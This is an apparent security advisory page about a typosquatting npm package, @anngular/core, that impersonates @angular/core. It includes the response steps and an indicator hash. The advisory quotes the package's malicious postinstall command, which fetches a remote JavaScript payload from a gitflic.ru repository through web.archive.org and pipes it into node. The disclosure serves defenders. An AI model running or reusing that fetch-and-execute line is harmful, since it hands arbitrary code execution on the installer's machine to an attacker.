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Malicious package

@anngular/corenpm

Advisory published Updated

@anngular/core is a confirmed malicious npm package (MAL-2026-17540) that typosquats a legitimate package to trick installs (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @anngular/core (npm)

MAL-2026-17540
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @anngular/core

What this malware does

Package name @anngular/core (double-n) impersonates @angular/core, copying its description 'Angular - the core framework' and author 'angular'. package.json declares a postinstall lifecycle script: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. On npm install, this unconditionally fetches an unpinned JavaScript payload from a non-publisher gitflic.ru repository (proxied through web.archive.org to evade host-based filtering) and pipes it directly into node, giving the operator of that gitflic.ru project arbitrary code execution on the installer's machine. The payload is not shipped with the package, is not integrity-pinned, and can be mutated at any time by whoever controls the gitflic.ru project.

Malicious versions

1 flagged
22.2.1

Indicators of compromise (SHA-256)

93d2078e85dc301d6b0299c93ff5e0e5e2c717290e88f18de85fce6554f2d027

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for @anngular/core (version 22.2.1).

  2. If you installed it — respond

    @anngular/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @anngular/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If @anngular/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @anngular/core on npm has been identified as a malicious package (version 22.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020993

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @anngular/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

@anngular/core (npm) malicious package — MAL-2026-17540 | O3 Security